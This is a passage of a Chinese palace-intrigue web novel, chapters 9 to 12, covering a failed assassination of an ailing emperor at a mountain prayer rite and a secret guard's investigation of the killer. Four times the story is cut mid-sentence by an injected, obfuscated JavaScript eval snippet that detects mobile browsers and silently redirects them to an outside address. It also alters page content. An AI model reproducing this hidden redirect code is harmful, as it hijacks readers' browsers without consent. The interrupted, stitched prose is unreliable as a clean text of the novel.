声声泣血,句句忠心。 9. 再见 以崔太尉为首的官员们,纷纷跪下,引经据典,以前朝为鉴来劝说李暨。 他们不理解为何今年的圣上要这么坚持去钟南山祈福。 自从十三州失去后,大梁国力就越发衰弱,而祈福之事,距今已有六年不曾再举办了。 李暨望着跪下的官员们,乌压压的一大片都是劝他的更是怒从心头起,索性闭上眼不再去看他们。 工部尚书郑旭突然凄然泪下喊道:“陛下,您是一国之君,万物万民皆系于您一人,切不可任性啊。” 整个身体几乎都匍匐在地。 户部尚书周稠锦也陡然跪下:“陛下,三思啊!” 简直是把李暨架起来烤,为国祈福这事从这些官员口中说出,竟成了不顾民生艰苦的昏聩行为! 李暨被他一句话呛得一口气没提上去,又咳嗽起来,枯材般的身体抖得如糠筛,手指因死死地握住扶椅而泛白,灰败的脸色倒是被憋出了红晕来。 黄忠见此连忙上前安抚李暨情绪,又从袖口掏出药丸塞到李暨嘴里,同时喊道:“无事下朝!” 李暨被群臣气得不轻,几乎是被搀扶着坐上轿撵,黄忠又急忙使唤小宦官去太医院宣太医诊治。太医们忙活了半天,将至天黑,李暨才真正的缓过神来。 醒来后的第一件事就是,拟旨,正月十五,他要去钟南山! 同一时间,反对的折子如雪花般飘到御案上,全被李暨当柴火烧了。 皇权与世家的拉锯战开正式始了。 * 夜晚,明曦殿,一位红衣少年坐在软塌上,手撑着脑袋,就着烛光歪头看着画上的人,而他下方跪着的是一位小宦官,正瑟瑟发抖地趴着。 半响,红衣少年才把眼睛从画上移开,幽幽道:“所以你的意思是我敬爱的父皇,最近突然安排一伙不知名的人暗中保护他?而我一直要找的人就在这里?” “是,是的。” “呵。” 红衣少年轻笑一声,半是讥讽半是叹道:“我那父皇还真是胆小。” 随后又是死一般的沉寂,小宦官没得到命令老老实实地只能趴在地上,冰冷坚硬的地板硌得人膝盖疼。 小宦官想到自己一会儿还要在殿前当值,只好大着胆子,小心翼翼地抬头:“殿,殿下……” 刚一抬头,就看见让他胆寒的一幕,光线将少年一半的脸藏在黑暗,分不清神色;另外半张脸在烛光的照映下却有些扭曲。 红色瞳孔在看着画像时,闪烁着某种不可说情绪。 好似窥见了什么般,小宦官被吓得也不敢抬头了,他又想起宫中对这位殿下的传闻,传闻他喜好虐杀宫人。 那位大人难不成是在哪里得罪过这位殿下吗? 怎么就被盯上了呢?! 小宦官正胡思乱想着,担心自己小命今天该不会就交代在这了吧。 头顶传出的声音却让他荣获新生:“你下去领银子吧。” “是,是,多谢殿下,赏赐。” 小宦官匆忙谢恩,退了下去,等到了外面他才发觉自己惊出一身冷汗,寒风一吹,就打了个冷颤。 而小宦官前脚刚走,一个老人就端一碗汤药塌入殿内,他恭敬道:“殿下,该喝药了。” 李泽桉收起画像,心情似乎很好,没半点犹豫就喝了个精光,待老人要走,才道:“黄忠,你对父皇还真是忠心啊,几乎天天来给我送药,生怕我耽搁了时间。” 黄忠:“殿下过奖了,老奴从圣上少时便一直跟着,自然要尽心侍奉。” 李泽桉认同地点点头,笑得异常好看:“可惜啊,狗这一生只有一个主人,而主人一生中却可以同时拥有多条好狗。” 这话成功让黄忠的眼色变了变,但最终他还是不动声色:“殿下,老奴待会儿还有事,就先告退了。” “嗯,去吧。噢,对了,内侍待会儿出去别忘了领赏。” 这时李泽桉到是换了副面孔,笑吟吟道。 * 顾之行的日子依然过得平淡如水,他们暗卫不隶属于任何禁卫军,且都是秘密行动。 当值时,护卫皇帝安全;不当值,便做些自己的事,只要不暴露身份行踪。 是日,年近年关,顾之行想出宫烧点纸钱给义父他们,长阶雪未消融,人踩在雪上发出“咯吱咯吱”的声响。 顾之行专门挑了一条无人经过的路走,行至一处宫门,突然有颗石子擦着他的耳边飞速划过,顾之行目光一凛,下意识就将腰间的佩刀拔出。 一声轻笑却打断了顾之行接下来的动作:“你想杀我吗?” 顾之行侧头看去,一位红衣少年在雪天竟赤脚坐在池边,裤脚挽到膝头,露出苍白瘦削的双腿,也不管这三九寒冬的鬼天气。 再往上看去,少年唇角微微上扬,可其中最能摄人心魄的却是那双似笑非笑的异瞳,妖冶无比。 是他。 顾之行垂眸却注意到他衣服上绣着的蟒纹,是尊贵无比之人才能穿的,他跪下:“卑职不敢,卑职参见殿下。” 少年唇边的笑意消失了,他神色莫名,半响站起身,就这样赤脚踩在雪上,慢悠悠地走到顾之行身前停下,赤足被天冷冻得泛红,竟有几分璇旎之色。 “你生气了吗?” 少年问道,属于少年的嗓音带着温润与冷意。 顾之行神色未变:“不敢。” “……” 少年似是负气,来回走了好多步,才又妥协般站立:“你就是生气了,是气我骗你?还是气我弄坏你送给我东西?” 顾之行神色平静:“……殿下,何出此言?” 李泽桉见顾之行铁了心不认他,神色也冷了下去,蓦地,他笑道:“看来是本宫认错人了,把你错认成本宫多年前认识的一位故人。” “既然殿下认错了,卑职还有事,卑职就先告退了。” 李泽桉见顾之行要走,心中一急,下意识脱口道:“哥哥……” 顾之行神色一顿,下意识停下脚步,转身:“殿下称呼卑职什么?” “……” 李泽桉似是失望了,并没有去看顾之行,目光反而落着某处:“是我的故人,我等了他那么久,他都没来,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517620|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?是他生我的气,还是……” 最后的疑问他最终还是没能说出口,是什么? 是他忘记了他? 是他根本不在意他的约定? 无人回答。 寂静的宫殿,只剩下李泽桉一人留在原地,伶仃一人,而那串脚印的主人已不见踪影。 天色暗沉,没一会儿空中又飘下了雪,李泽桉藏在袖口里的手慢慢握紧,苍白的面孔,神色却越发偏执:“哥哥,哥哥……原来你也不是我的。” * 正月,李暨不顾百官反对,毅然决然地携后妃与皇子们,踏入钟南山,随行的除了几千名禁卫军还有追随李暨的少数官员。 而以太师为首的官员则留守阎都。 顾之行等人作为暗卫自然要随圣上到钟南山。 钟南山壁立千仞,嶙峋怪石,雪松高耸入云,是为美景。 此时却无一人能停下来欣赏,宫人与寺庙的僧侣都在为明日的祈福祭祀仪式忙活着。 顾之行和小杜他们换班值守,小杜毫无形象地打着哈气,连续几日的跟车跑,累了只能选择一棵树上休息片刻,此时都面露倦色。 “老大,你说我们就这么熬,什么能熬出头啊?可怜我这一身武艺却毫无用武之地啊!” 顾之行脱下外衫的动作一顿,看向小杜,还没说什么。 另一个换衣服的青年抢先:“老大你不知道,小杜可是做梦都喊着要当大英雄呢!我看你当年就不应该进入我们训练营而是从军好了。” 小杜磨牙:“洪周你给老子闭嘴行不!再说要是我没有入训练营,那你们不就碰不到我了,那没有话本子听的你们该少了多少乐趣?!” 而顾之行在俩人胡诌八扯斗嘴间就已经换好衣服准备去值守,没成想刚出门就碰见了手捧着食盒的张少监。 俩人都不是话多的,还是顾之行率先作辑行礼:“张少监安。” 张少监打量着顾之行,如今的顾之行褪去少年时的青涩长成青年模样,凤眸微微上扬,皮肤白玉凝脂,仅侧目就能把人的魂勾了去,可这人偏偏浑身肃杀之气,让人不敢靠近。 他收回眼神,点头:“既然是一道的,就一同走走吧。” 顾之行对和同僚打交道不敢兴趣,闻言:“这似乎有些不妥。” 况且身为暗卫他的行踪不能暴露,若是在白日青天下行走,还和宦官一起,被那些看守在寺庙里的禁卫发现了可说不清。 张少监却道:“放心,他们我都找借口支走了,不然我也没法过来。” 这是专门找他来的? 话已至此,顾之行没有理由拒绝,俩人就这样一前一后走在寺庙庭院里。 俩人踏入长廊左转,一名路过的和尚向他们双手合十行礼。 擦身而过间,顾之行目光在触及他的侧脸后猛然停住,转身看向沙弥的背影,眉头微皱。 张少监出声:“怎么了?” “那名和尚会武功。” 张少监淡淡地斜睨了一眼:“不必过于担心,这里有一部分是武僧,但他们不会怎样。” 10. 祭祀 “可这个和尚身行诡谲难辨,虽有所收敛,但周身的杀意绝没有假,这不该出现在一名吃斋念佛的和尚身上。” 越说越不对劲,顾之行拔剑就要追上去,却被张少监一下按住肩膀。 张少监突然冷声道:“顾之行你别忘记自己的职责是贴身护卫圣上,此事不该你管就别操这份心。” 顾之行转头看他。 张少监的声音却又缓和起来:“不过既然你怀疑,为保证圣上的安全,我会派人去查看,如何?” “还有你在宫中当值的日子过得怎么样?” 话题转得太快,这问候过于突兀又亲切并不该出现他们之间,顾之行摩挲着剑柄,但还是回答:“一切都好。” 张少监神色自如:“那你在这段日子可学到了什么?” 顾之行活学活用直接拿刚才的他说的话堵他:“……这似乎并不在少监的职责之内。” 张少监笑了笑,好似并不在意顾之行软刺般的言行:“你对我不必如此警惕,虽说你我严格来说算不上什么关系,可终究是我把你带进了这里,若真的要扯上一番也算是你的半个引路人了。” “而我这样问完全是出于圣上信任与重视你们。” 顾之行不是傻子,立马意识到了:“……圣上交代了什么?” 张少监整理了一下自己的袖口,并不答顾之行的问话,只在踏入静室前一步,低声道:“来日方长,你很快就会知道了。” 顾之行:“……” * 这个“很快”是真的很快。 翌日,祭坛之上,青铜纹饰的四方鼎耸立山间,李暨身穿九龙玄色祭服,携着后妃皇子还有一些官员拾九阶而上,宽大的长袍随风而起,九旒冕冠垂下的玉藻珠串密密垂落,遮蔽了面孔,只留一道模糊的轮廓。 他步伐徐缓,一步一步上前。 顾之行隐藏在树上看着这一切,总觉得有些地方不太对劲。 他盯着昨天廊下碰见的和尚,那人跟随队伍边走边低头诵经看起来并无异常。 顾之行又看了眼台阶下跪拜的百姓,虽有禁卫军在下方震慑威胁,但依然有些骚乱传来。 但随着诵经声起,这不大的骚乱被压下了下去。 万里无云,经幡在空中飞扬,皇帝上拜苍天,下跪地方,敬告八方鬼神,以牲畜祭祀,以求国泰民安,繁荣昌盛。 顾之行他示意旁边的大志看向他的西南方向:“那边不对劲,你悄悄混入人群探查一番回来禀告,注意不要引起注意。” 大志领命,消无声息地落下,成功混入了百姓中…… 诵经声已过半,大志这才回来,揉着红肿的额角,一脸晦气地埋怨:“这都是些什么人啊,一家人一家言,他说他不对,他说他不对,我在中间还未说什么,他们就拉着我主持公道,我也不知道那句话就招惹了他们,二话不说就拿东西直冲我脑门砸过来……” 顾之行敏锐察觉到了一丝不对劲:“你被什么东西砸到了?” 大志回忆了一下:“是个包袱,里面好像装了什么重物硬块,反正砸的我很疼,可人挤人的我还没处躲。大庭广众之下,我也不能暴露武功,就成这样了……” 顾之行:“……” 大志摸了摸脑门的肿块,和顾之行一起看向那名低头诵经的和尚问:“那人有什么问题吗?” 顾之行并不想过多解释,只道:“只是有些怀疑,并没有什么证据。” 这一切太过巧合,昨天顾之行因为不放心,就又在寺庙里悄悄寻找了一圈,但那人就像人间蒸发了一样不见踪影。 寻找无果后,他以为这和尚不会再出现,可现在他却端端正正地出现在上方。 还有人群莫名的骚动,都昭示着这一切没有看起来那么简单。 像是验证顾之行的猜想,在诵经声结束后,那名一直低着头的和尚,突然从桌子下方的暗格抽出一把刀,对一旁不设防的帝王发起攻击。 顾之行在那和尚出手的瞬间,拔出藏在腿侧里的匕首飞掷出去,“铛”的一声,和尚的刀被打得偏离方向,他揉着被震麻的手臂,对顾之行的方向飞速地看了一眼,再次发动攻击。 “在树上待着。” 吩咐完,顾之行从后腰掏出面具戴在脸上,身如离弦之箭弹射而出,横刀挡在众人身前,兵器交接间,场上有些懵的大家也缓过神来,纷纷喊着:“有刺客,护驾,快护驾!” 伺候在旁的黄忠以肉身护在李暨前面,想要掩护李暨逃离。 同一时刻,制造骚动的人也出手了,他们牵制住禁卫军,一时间山上山下都乱作一团。 那和尚力气很大,顾之行被冲得后退好几步才堪堪停住,意识到不能硬碰硬,顾之行侧身躲过,抬腿横扫。 和尚立刀格挡下,又用双手举刀挥砍下,躲无可躲,顾之行手腕一转,直接迎上去,反手挥砍下和尚的大刀,同时抬脚猛踹和尚下/体,这招下流,但很有效。 和尚吃痛,一时不察,顾之行右手为刃横劈在和尚手腕的麻筋上,和尚失力,大刀直接脱手掉在地上,顾之行一个抬腿踹在和尚的胸口。 这一脚踹得狠,和尚被踹得倒地不起,口吐鲜血,已然受了重伤,眼看不敌顾之行他挣扎着爬起来就要跑,却被姗姗来迟的南衙禁军拦住了。 双拳不敌四手,况且是身披盔甲,手持长矛的禁军,他很快如困兽般被围困在包围圈里,一把长抢刺出,接着第二道,第三道……长枪/刺/入他的身体。 “等等!” 顾之行意识到这人不能杀,想要阻拦时,已经来不及了。 那和尚被禁军刺在半空中,四肢无力地垂下,是献祭般的姿势,鲜血顺着长缨抢而下,滴落在地,那和尚口中含血,极力扭头看着李暨的方向,嘴巴张合似乎想要说什么。 随后他就被禁军狠狠摔在地上,大片灰尘被掀起,只见那和尚身体抽动了一下,脖子一歪,没气了。 顾之行皱眉,还没说什么,一把刀就架在他脖子上。 正三品,南衙禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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直到张少监提醒:“王统领,既然这些人有冤情,那还不把他们带下去交给地方官员审查。” “是,是。” 王杰通如一个霜打的茄子,彻底焉了,只想着怎么把这件事揭过去。 可惜事情并没有如他所愿,一名青年从怀中掏出一张纸,高高举起:“圣上我有诉状,我要状告工部侍郎郑旭!状告他贪赃枉法,草菅人命,为此我们愿意滚铁钉,笞五十!” 王杰通猛地抬头,骇然无比。 顾之行却只感觉有人从他出现的那一刻起就一直盯着他,那目光过于灼热,让人忽视不了。 他转头正好与李泽桉目光相撞,李泽桉见他看向自己,乖巧地笑了下。 今天他的没有穿红衣,而是一身无比笨重的祭祀长服,可那张绝艳的脸依然让人无法忽视。 一笑如冬日红梅盛开。 * 祭祀期间不但出现刺客,还有草民状告当朝官员。 圣上震怒,可在几番思索下却下旨封锁他被行刺的消息,勒令任何人都不得再谈论此事,只让“状告一事”流出,并勒令中州司马立马见他,势必要查出个什么来。 而远在阎都的郑旭还不知道这一切的发生,平日里处理完事件,便是去诗社填词作曲,一展好字。 11. 试探 钟南山,禅院内,被药草熏的烟雾缭绕的屋子里,窗沿紧闭,因不透风而让人闷得慌,床边一位穿着宫装的妇人正仔细妥帖地照料着床上的人。 李暨在召见完中州司马后,回到住处休息的半路中差点晕倒,随行太医诊断病情,说是又重了些,可在季昭仪的服侍下喝完药他却并没有躺下休息,而是强撑着身体坐起来,季昭仪见状立马去扶李暨坐好。 李暨安抚着拍了拍她的手:“咳咳,辛苦你了。” 季昭仪浅笑,那张不算出色的脸蛋,笑起来倒是让人觉得很舒服,她柔声:“臣妾很愿意伺候圣上,臣妾不觉得辛苦。” 李暨闭上眼假寐:“嗯。” 季昭仪见李暨现在的心情还行,便适时的提起:“麟儿已经多日未见自己的父皇,很是想念,刚刚还在和我念叨着父皇什么时候来看他呢……我便告诉他:你父皇日理万机,哪能有时间陪你,你已经是个大孩子了,要多多向你父皇学习,刻苦读书才是。” 不知那句话触动了李暨的父子情,他睁开眼,神色难得有了丝感慨:“大学士阁里的汤士嘉前段日子是不是当了麟儿的老师?” “是,这还是圣上钦点的呢。” 李暨点点头:“汤士嘉这人学识渊博,有君子风范,他要好好学。” “臣妾明白,臣妾会好好嘱咐他的。” 俩人又就二皇子的学业讨论了一番,宛如一对再平凡不过的夫妻。 可这终究是短暂的,一个不速之客打断了这难得的宁静气氛。 一名红衣少年踏步而来,无比乖巧地行了行:“儿臣见过父皇,见过昭仪娘娘。” 可这乖巧的面具下,却挂着辨不清真情还是假意的笑脸。 李暨看着那张无比熟悉的脸,神情也冷了下来。 他挥手,黄忠立马意会,过来轻声提醒:“昭仪娘娘时候不早了,二殿下还等着您呢。” 季昭仪自然明白黄忠这番话里的含义,顺从地站起来,屈膝行礼:“那臣妾先告退了。” 而黄忠也非常有眼色地随着季昭仪离开,临走前还非常贴心地把门关上,屋内只剩下父子俩。 李暨冷笑:“朕还没来找你问罪,你倒是先过来了?” 李泽桉脸上没有半分慌乱,依然笑着:“父皇此话怎讲?儿臣不懂。” 李暨气急,一把抓起床边上的白釉执壶就砸过去,那白釉执壶在半空中划出一条弧线,不偏不倚径直砸在李泽桉的额头上,又滚落到地上摔成了碎片,而滚烫的热水全都兜头浇在了他的身上。 李泽桉不但没有闪躲,还直愣愣地跪了下去,瓷器碎片扎进皮肉里,他却浑然不觉似的。 李暨厉声呵斥:“那刺客难道不是你安排的?” 李泽桉眨了下眼,好似才明白过来一般,垂首,一字一句皆为义正言辞:“请父皇明察,儿臣对父皇只有尊敬之心,又岂会干出如此大逆不道,罔顾天伦之事!” 李暨声音依然很冷,带着威压,语气里没有半点缓和:“哼,你倒是会说!那你猜猜那刺客会出自手之手?” 李泽桉还是乖顺的模样:“儿臣愚钝,故猜不出,不过若是将此案交于大理寺等查办,定有水落石出的一天。” “……” 李暨岂会不知李泽桉话里的意思。 可若此事当真他们去办,就等于昭告天下皇帝遇刺,当下世家独大,皇权式微,又是在这样情形不明的情况下,万一人心浮动…… 李泽桉脸色阴沉了下来,垂眸看向李泽桉,沉默半晌开口:“你是真不知还是假不知?” “儿臣不知。” 李暨抬头闭眸,悠悠叹气,似是放弃了这个问题:“既然如此那我们谈谈其他的事吧。” 他掀开被褥,走下床,一个巨大的阴影慢慢笼罩在李泽桉上方,他走到李泽桉面前停下来,以一个上位者的姿态俯视着李泽桉:“听说你在策反朕最信任的心腹——黄忠?” “儿臣……” 李泽桉将姿态放得更低,话还未说完,就被李暨一脚踹在了心窝上,李暨是用足了力气去踹,就算久病在床但一个成年男性的力量还是很大,李泽桉不设防被这么一踹,当即撞到在门扉上,后脑勺被磕了一下,眼冒金花,脊背也被撞得生疼。 李暨本就体弱,还用足了力气去踹,一个不稳也差点摔倒在地,等稳住身体又咳嗽起来,好不容易喘口气便呵斥道:“别以为朕不知道你在背后搞小动作!连黄忠都想要策反,你还嫩着点!” 这变故过于突如其来,李泽桉没反应过来,顾不上疼痛,调整姿势又重新跪了下去:“儿臣没有,请父皇明鉴!” 李暨目光阴鸷:“难不成……你是说黄忠在冤枉你?” “儿臣没有,只是或许是儿臣说的一些话让黄内侍误会了。” 这话中还透出一股委屈。 “……” 李暨胸膛上下起伏,他垂眸看着他的这个儿子,似乎从刚刚开始才重新认真审视起他这个多年来都“乖巧”的儿子。 而李泽桉垂首安静地跪在地上,温顺无比。 恍然间,李暨想起五年前,幼年的李泽桉也是这样跪在他面前,全身上下都被雨水淋湿却不肯走,口中喊着:“父皇,父皇,求你看我一眼,父皇,我也是您的儿子啊!父皇!” 而李暨当时正因为朝堂中的事烦心,只让宫人把他带回去自己的寝殿去。 李泽桉却挣脱开宫人们的手,冲他喊:“父皇我会成为您最乖巧的孩子,父皇求您给我个机会吧,我会替父皇分担烦恼,父皇!” 这是李泽桉那时说的话,可一个连毛都没长齐的小屁孩,谁会信他这话? 如果,如果他当时没有看见那双长得和他母亲一模一样的眼睛和同样倔强无比的神情…… 李暨似是想到了什么往事,陡然咳嗽了起来,咳得很厉害,好半天才止住,而落到李泽桉身上的目光晦暗不明。 他不知道自己当初的决定是对是错,只期望李泽桉不要让他失望,否则…… 李暨揉了揉眉心,似是才想问起来李泽桉为什么来找他:“你来找我有什么事?” “儿臣只是想帮父皇分忧。” 李暨目光如炬:“你想掺合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517622|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这案子?” “儿臣身为皇子,自然知晓以儿臣的身份不应该干涉朝政,只是儿臣见这案件迟迟没有进展,甚是担心,故而想向父皇推荐一个儿臣幼时在民间结识的人为父皇分忧……” 李暨:“……” 顾之行隐藏殿外的在树上,正抬头看着空中的大雁,突然就听见门扉被打开的声音,一个少年从里面出来,那少年腿脚似是受了伤,步履不稳。 “……” 顾之行注视着那名少年一瘸一拐地步出宫门,风中萧索,路上湿滑,他只一人独行,竟无人敢去搀扶。 少年过于瘦弱的肩膀其实撑不起来那身红袍,看着像是急于长大的小孩在把大人衣服套在身上。 少年似有所感,在拐角处停下来,似是想回头,可最终还是他没有那么做,身影消失在宫门口。 等李泽桉走后,李暨坐在床边,不知道在想什么,帷幔遮住了他的眼睛,看不清神情,突然他冲着某处喊道:“让顾之行过来。” “是。” 一名早已被吓得跪在角落里瑟瑟发抖的宫女站起身快速退下,走到廊下,抬头给树上的人递了一个手势。 下一秒,顾之行从树上跳下,走进屋内,单膝跪地:“圣上。” 李暨将一块符牌丢在他面前:“帮朕查一下想要刺杀朕的是何人,若有问题可以去问张净,他知道该怎么配合你。” 术业有专攻,悬案本该交给大理寺,刑部或者御史台三家处理,更何况还是刺杀圣上这种灭九族的重案,更应该三家合力追查。 现在却交给一个区区暗卫调查,这就很耐人寻味了。 不过总归还是有两个缘由的,其一,圣上被暗杀这件事,暂时不能让任何人知道,所以并不能通过常规手段查案;其二,这说明圣上开始谋划着一些事…… 顾之行突然想起那日张少监对他说的话,他捡起电话的符牌,垂首:“是。” 站起身就要走,李暨的声音从后面传来:“顾之行不要让朕失望。” “卑职明白。” * 屋内,床上蜷缩着一个人,被铺凌乱,少年额头青筋暴起,冷汗直流,似是在忍受某种极大的痛苦,而少年死死咬住牙关才没有让声音泄露出去。 半晌,那令人难以忍受的痛苦似乎才缓解了不少,少年才敢慢慢舒展四肢,睁开眼睛,红眸里溢满泪水,可却没有任何情绪,也没有让它流下。 正是回到住所的李泽桉。 头疾,李泽桉自小就有,几乎半月便发作一次,发作持续时间长短不一,短则一盏茶的功夫,长则一个时辰,疼起来能要人命。据御医说,这病症是从娘胎里带的,就算成天吃药却也无法根治。 “吱呀”一声,禅院里的暗门开了,从里面走出来一个人影,那人极有分寸,在不远处跪下:“殿下。” 李泽桉坐起来,这次发作的时间似乎更久了,他整个人都显得无比疲倦,膝盖上的伤也没有及时处理,伤口被铮开从里面渗出血迹,看起来颇为吓人。 李泽桉抬手示意:“起来吧,事情办得如何了?” 12. 线索 “已经办妥了。” “嗯,那下去吧。” 那人没动,李泽桉掀起眼皮,语气平静:“有事?” “奴婢有一事不明……殿下明知陛下不喜您,为何还要策反黄忠惹得陛下怀疑?” “你是在质疑我?” “奴婢不敢。” 李泽桉站起,跨坐在右侧的塌上,支着一条腿,手中的茶壶晃了晃,神情讽刺,完全没了刚刚的虚弱状态,他反问:“如果你是我父皇的话,你会相信一个有点小聪明而且还是庶长子的我没有野心?” 那人低头:“奴婢不敢。” “你不是我父皇,你当然不敢,可像我父皇那么多疑的人,不管我做什么他都会怀疑。” 那人依旧低头:“……所以奴婢不明白。” 既然圣上多疑,难道不该更加赢得他的信任? 为何又非要挑战他? “很多事不是把所有东西都隐藏起来就是万事大吉了,有时候不小心露出点什么,才好把更多东西藏起来。” 那人神色微动:“原来如此,那奴婢先告退了。” 那人刚要站起来,李泽桉想起了什么,提醒着:“哦,对了,我要他,所以那件事要尽快办妥,我等得太久了,已经等不了了。” 那人:“奴婢遵命。” * 暗卫营虽没有教过如何查案,但却教给他们如何收集情报。 在禁军刺死刺客后,顾之行便一直让大壮留意着他们对那具尸体的处理,他现已知晓尸体保存在地方衙门里。 只是衙门有值守的捕快,没有诏令寻常人等无法进入,更何况他还是秘密调查,就更加不能光明正大走正门进去。 夜半,几个值班的捕快围炉烤茶,把话闲谈,日子过得倒是安逸非常,而他们聊得无非都是些生活中的不如意之事。 蓦地,一阵狂风吹开窗门,把内屋的几人冻得一激灵,有几盏烛火跳燃了几下,就灭了,值班房里一下子就暗了下来。 年长的男人见状只好揣着手,骂骂咧咧地起身准备去点灯,顺便用脚踢了踢旁边年轻的捕快:“有点眼力见没有,还不快把窗户关上?这倒霉天气能冻死个人。” “哦。” 年轻的捕快被踢了一脚,也不敢有怒言,乖乖地爬起来去关窗。 今夜的天格外的沉闷,上空即无明月也不见半点星子,忽然院中竹林似有响动,年轻的捕快探头看了一下,却没发现什么异常。 正奇怪刚才无风树怎么会晃时,那位年长的男人不耐烦地催促声从后面响起:“怎么还不把窗关上,让你做点事就磨磨蹭蹭,娘们唧唧的,没半点像你死去的老子!” 另一位捕快笑哈哈打圆场:“哎呦,马捕头你这话怎么能当着孩子的面说呢?!” “哼,老子和他们家相处了几十年,也算他半个爹,有什么不能说的?” 这话有轻蔑,轻视之意。 年轻的捕快思绪被打断,抓住窗柩的手慢慢缩紧,最终还是沉默地把门窗关上了。 屋内气温渐暖,他们又恢复之前热闹的气氛。 屋外,及时藏在屋檐上的顾之行:“……” 他旋身跳下,借助夜色,回想着刚刚收集的衙门地形图,准确无误地进入了停尸间。 推门进去,一股阴冷深寒的气息扑面而来,气温竟比外面还低,随之而来就是难闻的霉灰混杂着令人作呕的尸体腐臭,那味道直冲脑门,不设防的顾之行在门口被臭味冲得直皱眉。 好不容易才说服自己摸黑进去,顾之行摸出火折子拔盖,吹气,昏暗的房间终于有了一丝光亮。 停尸间一排排放着无人认领的尸体,他一个个掀过去,在最里面找到了他要的人。 冬季是天然的冰柜,这人的尸体并没有过于腐烂,鲜明地像个刚死的人。 可能是被特意叮嘱过,这具尸体并没有做过任何处理,顾之行很快就在尸体怀里找到了可以证明他身份的东西——崔府的腰牌,上面写着马路这个名字。 清河崔氏,大梁朝中的四大望族,门阀士族,祖辈曾出过数名官至拜相的治世之才,被誉为“天下第一大姓”。 无数名士不知可以科举入朝为官,却皆为当崔氏门客为荣,而崔氏秉承着“礼贤下士”的风尚,揽天下名士为己用,但凡你有些才能皆赐“金箔”——其实只是个木质腰牌,却因刻有崔氏的家族团徽而让所有人趋之若鹜。 顾之行摩挲着腰牌,蹙眉:“……” 他没想到整个查探过程竟然那么简单,好似有人生怕他发现不了,所以就直接把答案呈现在他面前一样。 而如果真的是崔氏门客刺杀圣上,那事情可就大发了,势必要牵扯出更多的人,毕竟如此权势的崔氏要杀皇帝,那将视同谋反。 为防止意外,顾之行回去后没有立马向圣上复命,而是让见过刺客的大志去查他的真实身份到底是不是崔氏门客。 而有了这个可以证明马路身份的腰牌,查起来就方便多了。 五日后。 “老大,老大,我查到了,不过这人说是崔氏门客吧,又不是崔氏门客。” 大志从外身披风雪而来,刚进门就赶紧给自己倒了一壶热茶驱寒。 顾之行擦拭着剑,闻言抬眸:“别绕弯子。” 大志也不敢再皮,斟酌道:“他之前是崔氏门客,后来不知是何原因又被崔氏驱逐出去了,大概就在半月前,不过这崔氏奇也怪哉,他家门客多是文人墨客,倒是很少听说有武人去投靠他们的。而文人又向来看不起我们这些武人,所以可想而知他在崔府里过得是什么日子,也不知道这人图啥。” “噢,对了,还有重要一点,这人曾经在家乡里犯过命案,在押送牢里之前逃了,后来来到阎都,才当了崔氏门客。” 顾之行直接没有下判断,而是接着问:“在你调查的这几日,崔府可有异样?” 大志回想一下,老实答道:“倒是不曾有什么异样。” “那这刺客在此前有什么走得近的人?” “坊间人说马路这人习惯独来独往,再加上他那长得凶神恶煞的脸,还不喜和人来往交谈,因此没啥朋友。不过日常生活中到有些接触的人,我们还罗列了一些名单,老大你看一下。” 说着大志把名册拿出来给顾之行。 顾之行打开名册,上面都是些平头百姓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517623|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无非是东街头的猪肉屠夫,西街尾的豆腐西施…… 几乎没有参考价值。 顾之行合上名册,想起他刚刚说的话:“……你刚刚说马路曾经犯过命案,那他犯的是什么命案?多久之前犯的?地方府衙难道就任由他到处逃窜没有追查缉拿吗?还有他祖籍哪里?家中可有父母,这些查过吗?” 一个个问题向大志砸过来,把大志砸得眼冒金光直接就懵了,身为暗卫他本身就不是干这个的,自然想不到不会想那么多。 他挠挠头,尴尬道:“没有,老大这些都要查吗?不过马路不是阎都人,而且他又死了,要查起这些怕是要费上些日子。” 顾之行沉吟片刻,摇头:“不用那么麻烦,何况我们人手不够。” “那我们要怎么查?” “找人。” 大理寺,瀚海阁,天下卷宗归其一。里面记录着各个地方大大小小的案件,像马路这种杀了人还越狱的案子定会被记录在册。 只是大理寺是重案之地,有重重官兵看守,虽说顾之行有能力在不打草惊蛇的情况下来去自如,可在万千卷宗里找一个关于“马路”的案子,凭顾之行一个人完全是大海捞针。 不过顾之行办不到,不代表其他人也办不到。 顾之行拿着符牌找上了张净——张少监。 